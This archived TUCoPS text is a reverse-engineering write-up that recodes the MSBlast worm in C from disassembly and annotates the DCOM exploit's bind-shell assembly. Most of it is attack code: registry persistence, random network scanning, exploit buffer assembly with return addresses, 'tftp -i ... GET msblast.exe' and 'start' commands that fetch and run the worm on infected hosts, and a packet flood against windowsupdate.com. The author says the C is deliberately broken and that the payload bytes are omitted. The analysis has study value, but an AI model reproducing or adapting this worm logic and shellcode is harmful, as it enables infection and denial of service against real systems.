TUCoPS :: Malware :: bt885.txt

Recoding msblast.exe in C from disassembly

DISCLAIMER:  Do not fix the poor syntax in my C code and compile it.  If 

you do 

something stupid with this, that's your problem, and I'm not responsible.  

The way I 

figure it, if you go out of your way to fix this to get it to compile, 

then you've

modified the code, it's not my work anymore, and therefore I am not 


I did this for one reason only:  pure RE for the sake of RE.

Anyway ... this is my first-ever binary analysis.  MSBlast.exe and a dump 

of the exploit

sent over port 135 were obtained from various people on IRC (thanks 

snacker and f0dder,

respectively).  Both were analyzed with IDA.  It took two or three hours 

to analyze the

exploit, and ten hours to analyze msblast.

Preliminary notes.

MSBlast was compiled with LCC 1.x, which made it particularly easy to 


The exploit encrypts itself via XOR.  A few simple modifications to 

the "Ripper" IDC

on datarescue's site takes care of this "protection".

A summary of MSBLAST, from the victim's standpoint:

A request comes in on port 135.  If open, the attacker immediately sends 

the exploit.

I am uncertain as to which platforms the return address[es] works on 

(though I know for 

a fact that an address was circulating privately that worked on both 2k 

SP* and XP SP*).

The shellcode binds cmd.exe to 135, and the attacker sends the following 

string of 


* tftp -i source_ip GET msblast.exe\n

* start msblast.exe\n

? msblast.exe\n

TFTP installs standard into \windows\system32.  TFTP is perfectly suited 

for this

application:  all msblast.exe has to do is fopen itself and send 200h byte 

chunks.  Easy.

(Interestingly, I tried to get infected from a random box in the wild, and 

every time I 

got a hit on port 135, the TFTP would not have finished by the time that 

the "start 

msblast" command was executed.  On a related note, the first copy of the 

binary I got 

from IRC was incomplete.  Perhaps a longer Sleep() is needed to rectify 

this problem.)

When msblast loads, its first action is to put itself into the 'run' 

registry key.

Next it picks a random class-C to scan, iteratively.  Then it checks the 

date;  if the

date is greater than 15 and the month is greater than 8, it starts a 

thread that lobs

custom-generated packets at windowsupdate.com.  Regardless of whether the 

date conditions

hold, it begins the scan on the class-C.  The scan uses 20 threads at a 


That's about all there is to it.  It uses a trick in infect_host() that 

I'm not aware of

to determine which return value to use in the exploit, and I don't know 

enough to tell

if there's anything remarkable about the generated packets it throws at 


It's all there in the source, if anyone cares to illuminate.

In analyzing the code I was unable to determine why the victim system 


reboots itself.  Perhaps it's just that NT doesn't like system services 

being killed.

The code follows.  Functions are listed in the order in which they 

physically appeared

in the binary.

I apologize for the formatting.

Oh, and as mentioned above, this will not compile.  I haven't coded 

anything serious

in C for sufficiently long enough that I forgot the proper syntax in some 


Also, if you examine the infect_host() function, you will see a reason 

that the 

code wouldn't work as-is even if it did compile.  And to be on the safe 

side, I left

the request1-4, bindstr and shellcode out of the source.  They're the same 

as in

any other published DCOM exploit, with a small exception:  request4 

differs in the

first seven bytes, but is identical otherwise, with the xfocus/k-otic/HDM 


the first seven bytes are 0xbe 0x22 0x9c 0x80 0x73 0xfe 0x58 rather than

			  0x01 0x10 0x08 0x00 0xcc 0xcc 0xcc.

// globals

unsigned long keystatus, class_a, class_b, class_c, t1, t2, t3, t4, 


unsigned long mysterious_dword=1, mystery_dword2=0;

char filename[0x104], *msblast="msblast.exe";

sockaddr cp;

socket s;

main(int argc, char *argv[])


	WSAData WSAData;

	char name[512];

	in_addr in;

	*hostent_ptr ptr_to_hostent;

	unsigned long passed=0;

	char DateStr[3], MonthStr[3];


(0x80000002, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windows", 


			 NULL, 0xF003F, NULL, &keystatus, NULL);

	RegSetValueExA(keystatus, "windows auto update", NULL, (ULONG)

1, "msblast.exe", (ULONG) 0x32);


	CreateMutexA(NULL, (ULONG)1, "BILLY");

	if(GetLastError()!=0xb7) ExitProcess(0);

	if(WSAStartup(MAKEWORD(2,2), &WSAData) || WSAStartup(MAKEWORD

(1,1), &WSAData) \ 

			|| WSAStartup((WORD)1, &WSAData))


		GetModuleFileNameA(NULL, &filename, SIZEOF(filename));

		while (!InternetGetConnectedState(&ThreadID, NULL)) {Sleep



		class_a = (rand() % 254)+1;

		class_b = (rand() % 254)+1;


        	if((gethostname(&name, 512)!=-1) || 



               		if((unsigned long)*(ptr_to_hostent.h_list))


               			memcpy(&in, *(ptr_to_hostent.h_list), 4);

               			sprintf(&name, "%s", inet_ntoa(in.s_addr));

               			t1=atoi(strtok(&name, '.'));

               			t2=atoi(strtok(&name, '.'));

               			t3=atoi(strtok(&name, '.'));

				if (t3>20)



					t3 -= (rand() % 20);








		if((rand() % 20)>12) passed=0; // this is weird


		if((rand()%10)>7) unknown_var=2;



			t1 = (rand() % 254)+1;

			t2 = (rand() % 254);

			t3 = (rand() % 254);


		GetDateFormatA(0x409, NULL, NULL, "d", &DateStr, 3);

		GetDateFormatA(0x409, NULL, NULL, "d", &MonthStr, 3);

		if((atoi(&DateStr)>15) && (atoi(&MonthStr)>8)) 


			CreateThread(NULL, NULL, &AttackMS, NULL, NULL, 



		while(1==1) {ScanAndInfect();}





void send_copy_of_self()


	char buf[0x204];

	sockaddr name;

	sockaddr to;

	unsigned long tolen=16, readlen;

	unsigned int var_204, var_202, var_200, i=0;

	FILE *thisfile;



	if((s=socket(2,2,0))==-1) goto this_loc_ret;

	memset(&name, NULL, 0x10);


	(unsigned int)name.sa_data=(unsigned int)htons(69);

	if(!(bind(s,&name, 0x10))) goto this_loc_ret;

	if((recvfrom(s,&buf, 0x204,NULL,&from, &fromlen))==-1) goto 


	if(!(thisfile=fopen(&filename,"rb"))) goto this_loc_ret;



		var_204=(unsigned int)htons(3);

		var_202=(unsigned int)htons(i);

		readlen=fread(&var_200, 1, 0x200, thisfile);


		if((sendto(s, &var_204, filelen, NULL, &to))<1) goto 



		if(readlen<0x204) goto send_self_loop;



		goto this_loc_ret;


		if(!((unsigned long)thisfile)) goto this_loc_ret;


		goto this_loc_ret;

	goto this_sub_start; // strange, but true






void inc_tvals()



	if(t4>254) {t4=0; t3++;}

	else {t4++; return;}

	if(t3>254) {t3=0; t2++;}

	else {t3++; return;}

	if(t2>254) {t2=0; t1++;}

	else {t1++; return;}

	if(t1>254) {t1=0; goto inc_tvals_start;}


void ScanAndInfect()


	fd_set writefds; // there's actually 64 fds in this array, 

although only 20 are used.

	in_addr in;

	unsigned long namelen, argp=1, tempvar2, tempvar3;

	sockaddr name;

	socket s[20], currsock;

	timeval timeout;

	memset(&name, 0, 16);



	for(int i=0; i<20; i++) 


		s[i*4]=socket((unsigned long)2, (unsigned long)1, 

(unsigned long)0);

		if((unsigned long)s[i*4]=-1) return;

		ioctlsocket(s[i*4], 0x8004667e, argp);


	for(int i=0; i<20; i++) 



		sprintf(&cp, "%i.%i.%i.%i", t1, t2, t3, t4);


		if(tempvar2=-1) return;

		(unsigned long)name.sa_data[2]=(unsigned long)tempvar2;

		connect(s[i*4], &name, 16);





	for(int i=0; i<20; i++)


		timeout.tv_sec=0; timeout.tv_usec=0; writefds.fd_count=0; 



		while (tempvar3 < writefds.fd_count)


			if((writefds.fd_array[tempvar3]==currsock)) break;



		if((writefds.fd_count==tempvar3) && 






		if((select(NULL, NULL, &writefds, NULL, &timeout)<1) 





			getpeername(s[i*4], &name, &namelen); // ?? 

doesn't seem to use the result of this call

			infect_host(s[i*4], inet_ntoa(in.s_addr));






int __cdecl infect_host(SOCKET s,char *cp)



	sockaddr name;

	char fake_sockaddr[0x10], buf[0x370+0x2cc+0x3c], buf2[0x48];

	unsigned long argp=0, returnaddy=0, ipaddyofhosttoinfect, hObject, 



        /* At this point in the code there's some weirdness.


          mov     eax, 2934h

          call    the_code_below


	        pop     ecx

	        sub     esp, 1000h

	        sub     eax, 1000h

	        test    [esp], eax

	        cmp     eax, 1000h

	        jnb     short loc_4022B9

	        sub     esp, eax

	        test    [esp], eax

	        jmp     ecx



	Anyone know what the hell this is?  I'm guessing LCC did not 

compile this code. */




	ioctlsocket(s,0x8004667e, &argp);

	if(mystery_dword2==1) returnaddy=0x100139d;

	else returnaddy=0x18759f;

	/* memcpy(&buf, &bindcode, 72);

	memcpy(&somestackvar, &request1, 864);

	memcpy(&somestackvar2, &request2, 16);

	memcpy(&somestackvar3, &request3, 60);

	memcpy(&somestackvar4, &sc, 716);

	memcpy(&somestackvar5, &request4, 48); 

	This is unnecessary crap in the code.  I rewrote it below.*/

	memcpy(buf2, bindcode, 0x48);

	memcpy(buf, request1, 0x360);

	memcpy(buf+0x360, request2, 0x10);

	memcpy(buf+0x370, sc, 0x2cc);

	memcpy(buf+0x394, returnaddy, 4);

	(unsigned long *)buf[0x370]+=(unsigned long)0x166;

	(unsigned long *)buf[0x378]+=(unsigned long)0x166;

	memcpy(buf+0x370+0x2cc, request3, 0x3c);

	memcpy(buf+0x370+0x2cc+0x3c, request4, 0x30);

	(unsigned long *)buf[0x8]+=(unsigned long)0x2c0;

	(unsigned long *)buf[0x10]+=(unsigned long)0x2c0;

	(unsigned long *)buf[0x80]+=(unsigned long)0x2c0;

	(unsigned long *)buf[0x84]+=(unsigned long)0x2c0;

	(unsigned long *)buf[0xb4]+=(unsigned long)0x2c0;

	(unsigned long *)buf[0xb8]+=(unsigned long)0x2c0;

	(unsigned long *)buf[0xd0]+=(unsigned long)0x2c0;

	(unsigned long *)buf[0x18c]+=(unsigned long)0x2c0;


        if((send(s, &buf2, 0x48, NULL))==-1) goto common_socket_failure;

        if((send(s, &buf, len, NULL))==-1) goto common_socket_failure;



        if((sploit_socket=socket(2, 1, 0))==-1) goto common_socket_failure;

        memset(&name, (unsigned int)0, 0x10);


        name.sa_data=(unsigned int)htons(4444);

        if((name.sa_data[2]=(unsigned long)inet_addr(BOX_TO_INFECT))==-1) 

goto common_socket_failure;

        if((connect(sploit_socket, &name, 0x10))==-1) goto 


        memset(&ipofsendingbox, (unsigned int)0, 0x10);


        memset(&fake_sockaddr, (unsigned int)0, 0x10);

        getsockname(sploit_socket, &fake_sockaddr, &namelen);

	sprintf(&ipofsendingbox, "%d.%d.%d.%d", (unsigned short)

fake_sockaddr[4],(unsigned short)fake_sockaddr[5],(unsigned short)

fake_sockaddr[6],(unsigned short)fake_sockaddr[7]);

        if(s) closesocket(s);

        hObject=CreateThread(NULL, NULL, &send_copy_of_self, NULL, NULL, 



        sprintf(&cmdbuffer, "tftp -i %s GET %s\n", &ipofsendingbox, 


        if((send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL))<1) 

goto close_socket;


	for(int i=0; i<10; i++)


		if (mysterious_dword=0) break;

		else Sleep(2000);


	sprintf(&cmdbuffer, "start %s\n", &msblast);

	if((send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL))<1) 

goto close_socket;


        sprintf(&cmdbuffer, "%s\n", &msblast);

	send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL);



        if(sploit_socket) closesocket(sploit_socket2);



        	TerminateThread(hObject, NULL);




        if(hObject) CloseHandle(hObject);




unsigned int checksum(char *checkdata, unsigned long checklength)


	int j=0;

	unsigned long accum, accum2, accum3;

	unsigned int currword;

	for(i=checklength; i>1; i-=2)


		currword = (unsigned int)checkdata[j];




	if(i==1) accum+=(unsigned short)checkdata[j+1];




	accum3 &= (unsigned long)0x0000FFFF;

	accum = accum2;

	accum += accum3;

	accum2 = accum;

	accum2 >> 16;

	accum += accum2;

	accum = ~accum;

	accum &= (unsigned long)0x0000ffff;

	return accum;


int __cdecl GetIpAddy(char *name)


	unsigned long E_AX;

	E_AX=(unsigned long)inet_addr(name);

	if (E_AX!=-1) return E_AX;

	E_AX=(unsigned long)gethostbyname(name);

	if (E_AX==-1) return E_AX;

	E_AX=(unsigned long)*(*(*(E_AX+12)));

	return E_AX;


unsigned long __stdcall AttackMS(LPVOID)


	unsigned long ipaddrms, socketms, sockoptsretval, optval=1;


	ipaddrms=(unsigned long)GetIPAddy("windowsupdate.com");


	socketms=WSASocketA(2,3,0xff,NULL,NULL,1); if (socketms==-1) 



	sockoptsretval=setsockopt(E_BX, NULL, 2, &optval, (unsigned long)

4); if (sockoptsretval==-1) return;


	while(1==1) {build_and_send_packets(ipaddrms, socketms);  Sleep







void build_and_send_packets(unsigned long msipaddr, socket s)


	char buf1[0xc];

	char buf[0x64];

	sockaddr to;

	char name[0x10];




	sprintf(&name, "%i.%i.%i.%i", class_a, class_b, rand()%255, rand()%




	to.sa_data=(unsigned int)htons(0x50);


	buf[0x50]=(unsigned short)0x45;        

	buf[0x52]=(unsigned int)htons(0x28);

	buf[0x54]=(unsigned int)1;

	buf[0x56]=(unsigned int)0;

	buf[0x58]=(unsigned short)0x80;

	buf[0x59]=(unsigned short)6;

	buf[0x5a]=(unsigned int)0;

	buf[0x60]=(unsigned long)msipaddr;

	buf[0x3e]=(unsigned int)htons(0x50);

	buf[0x44]=(unsigned long)0;

	buf[0x46]=(unsigned short)0x50;

	buf[0x47]=(unsigned short)2;

	buf[0x48]=(unsigned int)htons(0x4000);

	buf[0x4a]=(unsigned int)0;

	buf[0x4c]=(unsigned int)0;

	buf1[4]=(unsigned long)msipaddr;

	buf1[8]=(unsigned short)0;

	buf1[9]=(unsigned short)0;

	buf1[10]=(unsigned int)htons(0x14);

	buf[0x5c]=(unsigned long)msipaddr;

	buf[0x3c]=(unsigned int)htons((rand() % 1000)+1000);



	var_9c |= rand();

	var_9c &= (unsigned long)0x0000FFFF;

	buf[0x40]=(unsigned int)htons(var_9c);


	memcpy(&buf, &buf1, 0xc);

	memcpy(&buf[8], &buf[0x38], 0x14);

	buf[0x4c]=(unsigned int)checksum(&buf, 0x20);

	memcpy(&buf, &buf[0x50], 0x14);

	memcpy(&buf[0x14], &buf[0x3c], 0x14);

	memset(&buf[0x28], (unsigned int) 0, 4);

	buf[0x5a]=(unsigned int)checksum(&buf, 0x28);

	memcpy(&buf, &buf[0x50], 0x14);

	// again, anyone know what kind of packets these are?

	sendto(s, &buf, 0x28, NULL, &to, 0x10);




And the analysis of the exploit itself:  (the comments became sparse when 

I realized

that the code was ripped from HalVar (URL is below)).  ScanForAPI is 

thoroughly commented.



loc_4AF:                                ; CODE XREF: seg000:000004A8j

                sub     esp, 34h

                mov     esi, esp

                call    GetKernel32BaseAddy

                mov     [esi], eax      ; EAX is the base address of 


                push    dword ptr [esi]

                push    0EC0E4E8Eh      ; corresponds to LoadLibraryA

                call    ScanForAPI

                mov     [esi+8], eax

                push    dword ptr [esi]

                push    0CE05D9ADh      ; WaitForSingleObject

                call    ScanForAPI

                mov     [esi+0Ch], eax

                push    6C6Ch

                push    642E3233h

                push    5F327377h       ; ws32_2.dll

                push    esp

                call    dword ptr [esi+8]

                mov     [esi+4], eax    ; esi + 4 = HModule of ws32_2.dll

                push    dword ptr [esi]

                push    16B3FE72h       ; CreateProcessA

                call    ScanForAPI

                mov     [esi+10h], eax

                push    dword ptr [esi]

                push    73E2D87Eh       ; ExitProcess

                call    ScanForAPI

                mov     [esi+14h], eax

                push    dword ptr [esi+4]

                push    3BFCEDCBh       ; WSAStartup

                call    ScanForAPI

                mov     [esi+18h], eax

                push    dword ptr [esi+4]

                push    0ADF509D9h      ; WSASocketA

                call    ScanForAPI

                mov     [esi+1Ch], eax

                push    dword ptr [esi+4]

                push    0C7701AA4h      ; bind

                call    ScanForAPI

                mov     [esi+20h], eax

                push    dword ptr [esi+4]

                push    0E92EADA4h      ; listen

                call    ScanForAPI

                mov     [esi+24h], eax

                push    dword ptr [esi+4]

                push    498649E5h       ; accept

                call    ScanForAPI

                mov     [esi+28h], eax

                push    dword ptr [esi+4]

                push    79C679E7h       ; closesocket

                call    ScanForAPI

                mov     [esi+2Ch], eax

                xor     edi, edi

                sub     esp, 190h

                push    esp

                push    101h

                call    dword ptr [esi+18h] ; WSAStartup returns 0 if 


                push    eax

                push    eax

                push    eax

                push    eax

                inc     eax

                push    eax

                inc     eax

                push    eax             ; call wsasocketa

                call    dword ptr [esi+1Ch] ; this code sequence stolen 

from halvar @ www.darklab.org/archive/msg00183.html

                mov     ebx, eax	; ironically, halvar decries 

source stealing in that link .. heh

                push    edi

                push    edi

                push    5C110002h

                mov     ecx, esp

                push    16h

                push    ecx

                push    ebx

                call    dword ptr [esi+20h] ; bind

                push    edi

                push    ebx

                call    dword ptr [esi+24h] ; listen

                push    edi

                push    ecx

                push    ebx

                call    dword ptr [esi+28h] ; accept

                mov     edx, eax

                push    657865h         ; cmd.exe

                push    2E646D63h

                mov     [esi+30h], esp

                sub     esp, 54h

                lea     edi, [esp]

                xor     eax, eax

                xor     ecx, ecx

                add     ecx, 15h

loc_5C2:                                ; CODE XREF: seg000:000005C3j


                loop    loc_5C2

                mov     byte ptr [esp+10h], 44h ; 'D'

                inc     byte ptr [esp+3Dh]

                mov     [esp+48h], edx

                mov     [esp+4Ch], edx

                mov     [esp+50h], edx

                lea     eax, [esp+10h]

                push    esp

                push    eax

                push    ecx

                push    ecx

                push    ecx

                push    1

                push    ecx

                push    ecx

                push    dword ptr [esi+30h]

                push    ecx

                call    dword ptr [esi+10h] ; CreateProcessA

                mov     ecx, esp

                push    0FFFFFFFFh

                push    dword ptr [ecx]

                call    dword ptr [esi+0Ch] ; waitforsingleobject

                mov     ecx, eax

                push    edi

                call    dword ptr [esi+2Ch] ; closesocket

                call    dword ptr [esi+14h] ; exitprocess

GetKernel32BaseAddy proc near           ; CODE XREF: seg000:000004B4p

                push    ebp		; see halvar's code for comments

                push    esi

                mov     eax, large fs:30h

                test    eax, eax

                js      short loc_618

                mov     eax, [eax+0Ch]

                mov     esi, [eax+1Ch]


                mov     ebp, [eax+8]

                jmp     short loc_621

loc_618:                                ; CODE XREF: 


                mov     eax, [eax+34h]

                mov     ebp, [eax+0B8h]

loc_621:                                ; CODE XREF: 


                mov     eax, ebp

                pop     esi

                pop     ebp

                retn    4

GetKernel32BaseAddy endp

ScanForAPI      proc near               ; CODE XREF: seg000:000004C2p

                                        ; seg000:000004D1p ...

pattern         = dword ptr  14h

baseaddy        = dword ptr  18h

                push    ebx

                push    ebp

                push    esi

                push    edi

                mov     ebp, [esp+baseaddy] ; get start of given DLL in 


                mov     eax, [ebp+3Ch]  ; get start of PE header

                mov     edx, [ebp+eax+78h] ; get base of export table

                add     edx, ebp        ; edx = mem addy of export table

                mov     ecx, [edx+18h]  ; ecx = number of names

                mov     ebx, [edx+20h]  ; ebx = RVA of AddressOfNames

                add     ebx, ebp        ; ebx = mem addy of AddressOfNames

loc_641:                                ; CODE XREF: ScanForAPI+36j

                jecxz   short loc_675   ; if ECX = 0, couldn't find 

the 'string'

                dec     ecx             ; each time through the loop, ecx--

                mov     esi, [ebx+ecx*4] ; get RVA of first name

                add     esi, ebp        ; convert it into mem addy

                xor     edi, edi        ; clear EDI so it can assume its 


                cld                     ; direction = forwards

loc_64C:                                ; CODE XREF: ScanForAPI+30j

                xor     eax, eax

                lodsb                   ; load a byte of the API name from 


                cmp     al, ah          ; did we load a zero byte?

                jz      short loc_65A   ; yeah, we're done for this name

                ror     edi, 0Dh        ; nope, form the weirdo value in 


                add     edi, eax

                jmp     short loc_64C   ; restart

loc_65A:                                ; CODE XREF: ScanForAPI+29j

                cmp     edi, [esp+pattern] ; did the API name match what 

we wanted?

                jnz     short loc_641   ; nope, retry

                mov     ebx, [edx+24h]

                add     ebx, ebp        ; ebx = mem addy of 


                mov     cx, [ebx+ecx*2] ; cx = ordinal of function

                mov     ebx, [edx+1Ch]

                add     ebx, ebp        ; ebx = mem addy 

of "AddressOfFunctions"

                mov     eax, [ebx+ecx*4] ; take EAX = RVA of ordinal #cx

                add     eax, ebp        ; eax becomes a mem addy

                jmp     short loc_677   ; done

loc_675:                                ; CODE XREF: ScanForAPI+19j

                xor     eax, eax        ; couldn't find it, so EAX=0

loc_677:                                ; CODE XREF: ScanForAPI+4Bj

                mov     edx, ebp        ; edx = base addy of DLL

                pop     edi

                pop     esi

                pop     ebp

                pop     ebx

                retn    4               ; cleanup and return

ScanForAPI      endp


Accz, cynica_l, blorght, halvar the bigshot, analyst, zen, nu, nroc, 

carpathia, all of #ol, 

Jessica and my family.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH